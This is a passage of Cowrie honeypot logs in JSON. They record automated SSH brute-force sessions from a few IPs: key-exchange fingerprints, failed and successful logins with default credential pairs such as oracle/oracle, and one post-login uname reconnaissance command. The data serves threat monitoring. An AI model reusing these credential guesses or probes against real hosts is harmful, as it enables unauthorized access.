28-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:34.547349Z","src_ip":"91.92.42.133","session":"920390d53973","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mcserver","message":"login attempt [mcserver/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:35.099903Z","src_ip":"91.92.42.133","session":"920390d53973","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:36.490638Z","src_ip":"91.92.42.133","session":"920390d53973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58886,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7d50aa28452","protocol":"ssh","message":"New connection: 91.92.40.171:58886 (159.203.135.109:22) [session: c7d50aa28452]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:38.542202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:38.678966Z","src_ip":"91.92.40.171","session":"c7d50aa28452","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:38.681507Z","src_ip":"91.92.40.171","session":"c7d50aa28452","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"pi","message":"login attempt [nexus/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:39.435682Z","src_ip":"91.92.40.171","session":"c7d50aa28452","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:40.672008Z","src_ip":"91.92.40.171","session":"c7d50aa28452","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38278,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9c33ffc9c20","protocol":"ssh","message":"New connection: 91.92.42.133:38278 (159.203.135.109:22) [session: c9c33ffc9c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:41.877652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:41.950780Z","src_ip":"91.92.42.133","session":"c9c33ffc9c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:42.311247Z","src_ip":"91.92.42.133","session":"c9c33ffc9c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu123!","message":"login attempt [ubuntu/Ubuntu123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:43.919318Z","src_ip":"91.92.42.133","session":"c9c33ffc9c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58950,"dst_ip":"159.203.135.109","dst_port":22,"session":"d602905425b7","protocol":"ssh","message":"New connection: 91.92.40.171:58950 (159.203.135.109:22) [session: d602905425b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:44.055033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:44.292483Z","src_ip":"91.92.40.171","session":"d602905425b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:44.295813Z","src_ip":"91.92.40.171","session":"d602905425b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:45.222416Z","src_ip":"91.92.40.171","session":"d602905425b7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:45.563897Z","src_ip":"91.92.40.171","session":"d602905425b7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:45.567157Z","src_ip":"91.92.40.171","session":"d602905425b7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:45.715437Z","src_ip":"91.92.40.171","session":"d602905425b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:45.719075Z","src_ip":"91.92.40.171","session":"d602905425b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:46.143267Z","src_ip":"91.92.42.133","session":"c9c33ffc9c20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53478,"dst_ip":"159.203.135.109","dst_port":22,"session":"c12a97254c8f","protocol":"ssh","message":"New connection: 91.92.40.171:53478 (159.203.135.109:22) [session: c12a97254c8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:49.508828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:49.884664Z","src_ip":"91.92.40.171","session":"c12a97254c8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:49.888627Z","src_ip":"91.92.40.171","session":"c12a97254c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58792,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a6b80a6c4de","protocol":"ssh","message":"New connection: 91.92.42.133:58792 (159.203.135.109:22) [session: 3a6b80a6c4de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:49.950918Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:50.063572Z","src_ip":"91.92.42.133","session":"3a6b80a6c4de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:50.070258Z","src_ip":"91.92.42.133","session":"3a6b80a6c4de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:50.688898Z","src_ip":"91.92.42.133","session":"3a6b80a6c4de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:51.223992Z","src_ip":"91.92.40.171","session":"c12a97254c8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:51.845529Z","src_ip":"91.92.42.133","session":"3a6b80a6c4de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41078,"dst_ip":"159.203.135.109","dst_port":23,"session":"dce7a88dd53a","protocol":"telnet","message":"New connection: 128.199.8.54:41078 (159.203.135.109:23) [session: dce7a88dd53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:52.283690Z"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:52.449923Z","src_ip":"91.92.40.171","session":"c12a97254c8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47080,"dst_ip":"159.203.135.109","dst_port":22,"session":"e906d81ca485","protocol":"ssh","message":"New connection: 91.92.40.171:47080 (159.203.135.109:22) [session: e906d81ca485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:55.788440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:55.844234Z","src_ip":"91.92.40.171","session":"e906d81ca485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:55.906625Z","src_ip":"91.92.40.171","session":"e906d81ca485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"passwd","message":"login attempt [ansible/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:56.282550Z","src_ip":"91.92.40.171","session":"e906d81ca485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":38978,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad2d2bdb4768","protocol":"ssh","message":"New connection: 91.92.42.133:38978 (159.203.135.109:22) [session: ad2d2bdb4768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:57.192274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:57.232250Z","src_ip":"91.92.42.133","session":"ad2d2bdb4768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:57.336672Z","src_ip":"91.92.42.133","session":"ad2d2bdb4768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:57.432773Z","src_ip":"91.92.40.171","session":"e906d81ca485","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"root","message":"login attempt [server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:58.098788Z","src_ip":"91.92.42.133","session":"ad2d2bdb4768","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:20:59.333745Z","src_ip":"91.92.42.133","session":"ad2d2bdb4768","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":47128,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d361bc8757c","protocol":"ssh","message":"New connection: 91.92.40.171:47128 (159.203.135.109:22) [session: 5d361bc8757c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:03.433890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:21:03.438294Z","src_ip":"91.92.40.171","session":"5d361bc8757c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@o